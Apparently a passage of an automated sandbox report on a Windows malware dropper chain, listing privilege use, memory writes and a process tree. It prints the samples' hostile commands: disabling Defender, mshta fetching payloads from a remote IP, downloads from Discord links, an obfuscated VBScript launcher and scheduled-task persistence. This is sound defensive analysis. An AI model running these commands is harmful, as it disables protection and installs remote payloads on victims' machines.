Token: SeDebugPrivilege	4252	Sun03ea09aa5c9686e5.exe
Token: SeDebugPrivilege	5044	Sun0328255c4bce6fb.exe
Token: SeRestorePrivilege	3548	WerFault.exe
Token: SeBackupPrivilege	3548	WerFault.exe
Token: SeDebugPrivilege	3548	WerFault.exe
Token: SeDebugPrivilege	4732	powershell.exe
Token: SeDebugPrivilege	4940	powershell.exe
Token: SeDebugPrivilege	3128	DownFlSetup110.exe
Token: SeDebugPrivilege	2564	4.exe
Token: SeDebugPrivilege	3968	5.exe
Token: SeDebugPrivilege	1492	WerFault.exe
Token: SeDebugPrivilege	3820	WerFault.exe
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeDebugPrivilege	68	6.exe
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE
Token: SeCreatePagefilePrivilege	2604	Explorer.EXE
Token: SeShutdownPrivilege	2604	Explorer.EXE

Suspicious use of FindShellTrayWindow 12 IoCs

pid	Process
3176	Sun03f5d51697d04.tmp
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE
5576	Calculator.exe
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE
2604	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
6068	yTy3pjskcaOH3SGW7DDHaAqG.exe
5132	AdobeARM.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4824 wrote to memory of 424	4824	setup_x86_x64_install.exe	78
PID 4824 wrote to memory of 424	4824	setup_x86_x64_install.exe	78
PID 4824 wrote to memory of 424	4824	setup_x86_x64_install.exe	78
PID 424 wrote to memory of 420	424	setup_installer.exe	79
PID 424 wrote to memory of 420	424	setup_installer.exe	79
PID 424 wrote to memory of 420	424	setup_installer.exe	79
PID 420 wrote to memory of 2196	420	setup_install.exe	82
PID 420 wrote to memory of 2196	420	setup_install.exe	82
PID 420 wrote to memory of 2196	420	setup_install.exe	82
PID 420 wrote to memory of 2308	420	setup_install.exe	83
PID 420 wrote to memory of 2308	420	setup_install.exe	83
PID 420 wrote to memory of 2308	420	setup_install.exe	83
PID 420 wrote to memory of 2456	420	setup_install.exe	84
PID 420 wrote to memory of 2456	420	setup_install.exe	84
PID 420 wrote to memory of 2456	420	setup_install.exe	84
PID 420 wrote to memory of 2516	420	setup_install.exe	85
PID 420 wrote to memory of 2516	420	setup_install.exe	85
PID 420 wrote to memory of 2516	420	setup_install.exe	85
PID 420 wrote to memory of 2656	420	setup_install.exe	89
PID 420 wrote to memory of 2656	420	setup_install.exe	89
PID 420 wrote to memory of 2656	420	setup_install.exe	89
PID 420 wrote to memory of 2780	420	setup_install.exe	86
PID 420 wrote to memory of 2780	420	setup_install.exe	86
PID 420 wrote to memory of 2780	420	setup_install.exe	86
PID 420 wrote to memory of 2892	420	setup_install.exe	87
PID 420 wrote to memory of 2892	420	setup_install.exe	87
PID 420 wrote to memory of 2892	420	setup_install.exe	87
PID 420 wrote to memory of 2840	420	setup_install.exe	88
PID 420 wrote to memory of 2840	420	setup_install.exe	88
PID 420 wrote to memory of 2840	420	setup_install.exe	88
PID 420 wrote to memory of 3880	420	setup_install.exe	90
PID 420 wrote to memory of 3880	420	setup_install.exe	90
PID 420 wrote to memory of 3880	420	setup_install.exe	90
PID 420 wrote to memory of 4028	420	setup_install.exe	91
PID 420 wrote to memory of 4028	420	setup_install.exe	91
PID 420 wrote to memory of 4028	420	setup_install.exe	91
PID 420 wrote to memory of 4336	420	setup_install.exe	112
PID 420 wrote to memory of 4336	420	setup_install.exe	112
PID 420 wrote to memory of 4336	420	setup_install.exe	112
PID 2196 wrote to memory of 4732	2196	cmd.exe	92
PID 2196 wrote to memory of 4732	2196	cmd.exe	92
PID 2196 wrote to memory of 4732	2196	cmd.exe	92
PID 2308 wrote to memory of 4940	2308	cmd.exe	111
PID 2308 wrote to memory of 4940	2308	cmd.exe	111
PID 2308 wrote to memory of 4940	2308	cmd.exe	111
PID 420 wrote to memory of 4656	420	setup_install.exe	93
PID 420 wrote to memory of 4656	420	setup_install.exe	93
PID 420 wrote to memory of 4656	420	setup_install.exe	93
PID 420 wrote to memory of 4620	420	setup_install.exe	110
PID 420 wrote to memory of 4620	420	setup_install.exe	110
PID 420 wrote to memory of 4620	420	setup_install.exe	110
PID 420 wrote to memory of 4648	420	setup_install.exe	109
PID 420 wrote to memory of 4648	420	setup_install.exe	109
PID 420 wrote to memory of 4648	420	setup_install.exe	109
PID 420 wrote to memory of 3660	420	setup_install.exe	94
PID 420 wrote to memory of 3660	420	setup_install.exe	94
PID 420 wrote to memory of 3660	420	setup_install.exe	94
PID 4620 wrote to memory of 4252	4620	cmd.exe	95
PID 4620 wrote to memory of 4252	4620	cmd.exe	95
PID 3880 wrote to memory of 4116	3880	cmd.exe	108
PID 3880 wrote to memory of 4116	3880	cmd.exe	108
PID 3880 wrote to memory of 4116	3880	cmd.exe	108
PID 2780 wrote to memory of 4204	2780	cmd.exe	98
PID 2780 wrote to memory of 4204	2780	cmd.exe	98

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1056
- C:\Users\Admin\AppData\Roaming\frbwjda
  C:\Users\Admin\AppData\Roaming\frbwjda
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3412
- C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe
  "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of SetWindowsHookEx
  PID:5132
- C:\Users\Admin\AppData\Roaming\frbwjda
  C:\Users\Admin\AppData\Roaming\frbwjda
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:7012
- C:\Users\Admin\AppData\Roaming\frbwjda
  C:\Users\Admin\AppData\Roaming\frbwjda
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4304
- C:\Users\Admin\AppData\Roaming\frbwjda
  C:\Users\Admin\AppData\Roaming\frbwjda
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4880
- C:\Users\Admin\AppData\Roaming\frbwjda
  C:\Users\Admin\AppData\Roaming\frbwjda
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:7128
- C:\Users\Admin\AppData\Roaming\frbwjda
  C:\Users\Admin\AppData\Roaming\frbwjda
  2⤵
  PID:5588

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2604
- C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:424
  - - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS8A101816\setup_install.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:420
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2196
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4732
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2308
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4940
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun03d477f1a31.exe
        5⤵
        
        PID:2456
      - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03d477f1a31.exe
        
        Sun03d477f1a31.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1180
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        7⤵
        
        PID:3696
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        8⤵
        Kills process with taskkill
        
        PID:1692
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun033e271e0ce96c08.exe /mixone
        5⤵
        
        PID:2516
      - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun033e271e0ce96c08.exe
        
        Sun033e271e0ce96c08.exe /mixone
        6⤵
        Executes dropped EXE
        
        PID:1984
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 660
        7⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1492
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 676
        7⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3820
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 644
        7⤵
        Program crash
        
        PID:1388
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 700
        7⤵
        Program crash
        
        PID:3012
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 892
        7⤵
        Program crash
        
        PID:5328
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 940
        7⤵
        Program crash
        
        PID:5244
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 1112
        7⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:5840
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun03f0dc4460bc9.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2780
      - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f0dc4460bc9.exe
        
        Sun03f0dc4460bc9.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4204
        
        C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f0dc4460bc9.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f0dc4460bc9.exe
        7⤵
        Executes dropped EXE
        
        PID:4972
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun03e4aeb7e43a1c.exe
        5⤵
        
        PID:2892
      - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03e4aeb7e43a1c.exe
        
        Sun03e4aeb7e43a1c.exe
        6⤵
        Executes dropped EXE
        
        PID:1384
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\3069764135.exe"
        7⤵
        Executes dropped EXE
        
        PID:4104
        
        C:\Users\Admin\AppData\Local\Temp\3069764135.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3069764135.exe"
        8⤵
        Executes dropped EXE
        
        PID:1448
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\4787631693.exe"
        7⤵
        
        PID:4320
        
        C:\Users\Admin\AppData\Local\Temp\4787631693.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4787631693.exe"
        8⤵
        Executes dropped EXE
        
        PID:2432
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Sun03e4aeb7e43a1c.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03e4aeb7e43a1c.exe" & exit
        7⤵
        
        PID:6580
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Sun03e4aeb7e43a1c.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:5548
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun0397381f1f458e.exe
        5⤵
        
        PID:2840
      - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0397381f1f458e.exe
        
        Sun0397381f1f458e.exe
        6⤵
        
        PID:4104
        
        C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0397381f1f458e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0397381f1f458e.exe" -u
        7⤵
        Executes dropped EXE
        
        PID:1264
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun039750b00c.exe
        5⤵
        
        PID:2656
      - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun039750b00c.exe
        
        Sun039750b00c.exe
        6⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:4416
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun0324aba28588c0.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3880
      - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0324aba28588c0.exe
        
        Sun0324aba28588c0.exe
        6⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:4116
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun038aa349e3318e.exe
        5⤵
        
        PID:4028
      - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun038aa349e3318e.exe
        
        Sun038aa349e3318e.exe
        6⤵
        Executes dropped EXE
        Checks computer location settings
        
        PID:3468
        
        C:\Users\Admin\Pictures\Adobe Films\yTy3pjskcaOH3SGW7DDHaAqG.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\yTy3pjskcaOH3SGW7DDHaAqG.exe"
        7⤵
        Executes dropped EXE
        
        PID:4872
        
        C:\Users\Admin\Pictures\Adobe Films\jw1BtrPSHkN5Ycj5GrGZrWNp.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jw1BtrPSHkN5Ycj5GrGZrWNp.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5264
        
        C:\Users\Admin\Pictures\Adobe Films\jw1BtrPSHkN5Ycj5GrGZrWNp.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jw1BtrPSHkN5Ycj5GrGZrWNp.exe"
        8⤵
        
        PID:4392
        
        C:\Users\Admin\Pictures\Adobe Films\uecNmHuKV5CntDpX5R5cAnad.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\uecNmHuKV5CntDpX5R5cAnad.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of SetThreadContext
        
        PID:1364
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:5428
        
        C:\Users\Admin\Pictures\Adobe Films\CMCX11vCmko9R4RXJMdgUVL4.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\CMCX11vCmko9R4RXJMdgUVL4.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2168
        
        C:\Users\Admin\Pictures\Adobe Films\qk9UWVrVqY4tBN2oy63GGKMe.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\qk9UWVrVqY4tBN2oy63GGKMe.exe"
        7⤵
        Executes dropped EXE
        
        PID:2356
        
        C:\Users\Admin\Pictures\Adobe Films\lIJoDlCIBCCNb2IhrB3rTnjY.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\lIJoDlCIBCCNb2IhrB3rTnjY.exe"
        7⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:3044
        
        C:\Users\Admin\Pictures\Adobe Films\UjJmg_DELP1NaVeOyjr4XbfL.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\UjJmg_DELP1NaVeOyjr4XbfL.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:760
        
        C:\Users\Admin\Pictures\Adobe Films\UjJmg_DELP1NaVeOyjr4XbfL.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\UjJmg_DELP1NaVeOyjr4XbfL.exe"
        8⤵
        
        PID:3344
        
        C:\Users\Admin\Pictures\Adobe Films\UzYxXqOkTtDpwSezwVXY7Exr.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\UzYxXqOkTtDpwSezwVXY7Exr.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        
        PID:2252
        
        C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3036
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im xcLVIwmxi_ZLJsepaVLcueHv.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe" & del C:\ProgramData\*.dll & exit
        8⤵
        
        PID:6156
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im xcLVIwmxi_ZLJsepaVLcueHv.exe /f
        9⤵
        Kills process with taskkill
        
        PID:6744
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:6700
        
        C:\Users\Admin\Pictures\Adobe Films\1ElQX1vnC6hzc6ozl4KylRRW.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\1ElQX1vnC6hzc6ozl4KylRRW.exe"
        7⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        
        PID:5464
        
        C:\Program Files (x86)\Company\NewProduct\cutm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
        8⤵
        
        PID:6116
        
        C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe
        
        "C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"
        8⤵
        Checks whether UAC is enabled
        Drops file in Program Files directory
        
        PID:2200
        
        C:\Users\Admin\Pictures\Adobe Films\zYHzp_ecSfHCBQQQXejKOBf6.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\zYHzp_ecSfHCBQQQXejKOBf6.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2440
        
        C:\Users\Admin\Pictures\Adobe Films\zYHzp_ecSfHCBQQQXejKOBf6.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\zYHzp_ecSfHCBQQQXejKOBf6.exe"
        8⤵
        
        PID:6812
        
        C:\Users\Admin\Pictures\Adobe Films\d3AMh7RrYP1XgER3nYdWgVrD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\d3AMh7RrYP1XgER3nYdWgVrD.exe"
        7⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:5488
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "https://nougacoush.com/link?z=4569148" /tn "AV GORelease" /sc ONCE /st 14:8 /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:4980
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:1088
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:7004
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:352
        
        C:\Users\Admin\Pictures\Adobe Films\ZDAes857uiA7Ldl_tt0f6Zy7.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ZDAes857uiA7Ldl_tt0f6Zy7.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3708
        
        C:\Users\Admin\Pictures\Adobe Films\GW1qWiZN_WfRGdqvRw1o4xI2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\GW1qWiZN_WfRGdqvRw1o4xI2.exe"
        7⤵
        
        PID:688
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        8⤵
        
        PID:6740
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        9⤵
        Kills process with taskkill
        
        PID:3048
        
        C:\Users\Admin\Pictures\Adobe Films\dYLG3PpYw0yLWxJQRvws6jif.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\dYLG3PpYw0yLWxJQRvws6jif.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6012
        
        C:\Users\Admin\Pictures\Adobe Films\PtIpbjLSQP_eHgf86mvDiq5x.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PtIpbjLSQP_eHgf86mvDiq5x.exe"
        7⤵
        Executes dropped EXE
        
        PID:5704
        
        C:\Users\Admin\Pictures\Adobe Films\EN8kVF9nOEITndkmKROPnWJy.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\EN8kVF9nOEITndkmKROPnWJy.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of SetThreadContext
        
        PID:1788
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:5740
        
        C:\Users\Admin\Pictures\Adobe Films\90ZYl4DNjc4L0AZthgxTdNOd.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\90ZYl4DNjc4L0AZthgxTdNOd.exe"
        7⤵
        
        PID:2208
        
        C:\Users\Admin\Pictures\Adobe Films\Nvh_1uHJ5edoJRrt0aUqMKjC.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Nvh_1uHJ5edoJRrt0aUqMKjC.exe"
        7⤵
        Suspicious use of SetThreadContext
        
        PID:2524
        
        C:\Users\Admin\Pictures\Adobe Films\Nvh_1uHJ5edoJRrt0aUqMKjC.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Nvh_1uHJ5edoJRrt0aUqMKjC.exe"
        8⤵
        
        PID:5344
        
        C:\Users\Admin\Pictures\Adobe Films\BnaQE7vssOIGKiIFtluJLNOT.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\BnaQE7vssOIGKiIFtluJLNOT.exe"
        7⤵
        Checks BIOS information in registry
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4628
        
        C:\Users\Admin\AppData\Local\Temp\Refutatory.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Refutatory.exe"
        8⤵
        
        PID:2792
        
        C:\Users\Admin\AppData\Local\Temp\tory.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tory.exe"
        8⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        
        PID:7060
        
        C:\Users\Admin\AppData\Local\Temp\cler.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cler.exe"
        8⤵
        Suspicious behavior: SetClipboardViewer
        
        PID:652
        
        C:\Users\Admin\Pictures\Adobe Films\H6UM5D_oAJb1wY44F0H9W53a.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\H6UM5D_oAJb1wY44F0H9W53a.exe"
        7⤵
        
        PID:6068
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" http://185.7.214.7/LOADX/m.hta
        8⤵
        Blocklisted process makes network request
        Checks whether UAC is enabled
        
        PID:6480
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" http://185.7.214.7/LOADX/r.hta
        8⤵
        
        PID:6552
        
        C:\Users\Admin\Pictures\Adobe Films\hschgIT73zIyo43yY5y_5zDy.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\hschgIT73zIyo43yY5y_5zDy.exe"
        7⤵
        
        PID:4464
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\542F.bat "C:\Users\Admin\Pictures\Adobe Films\hschgIT73zIyo43yY5y_5zDy.exe""
        8⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe
        
        C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
        9⤵
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:2208
        
        C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe
        
        C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/904756451950616599/904756476982222878/18.exe" "18.exe" "" "" "" "" "" ""
        9⤵
        
        PID:5132
        
        C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe
        
        C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/904756451950616599/904756503808991242/Transmissibility.exe" "Transmissibility.exe" "" "" "" "" "" ""
        9⤵
        
        PID:1472
        
        C:\Users\Admin\AppData\Local\Temp\4795\18.exe
        
        18.exe
        9⤵
        
        PID:1904
        
        C:\Users\Admin\AppData\Local\Temp\4795\Transmissibility.exe
        
        Transmissibility.exe
        9⤵
        
        PID:7004
        
        C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe
        
        C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe "" "" "" "" "" "" "" "" ""
        9⤵
        
        PID:7048
        
        C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe"
        7⤵
        
        PID:6472
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
        8⤵
        Checks whether UAC is enabled
        
        PID:4808
        
        C:\Windows\SysWOW64\cmd.exe
        
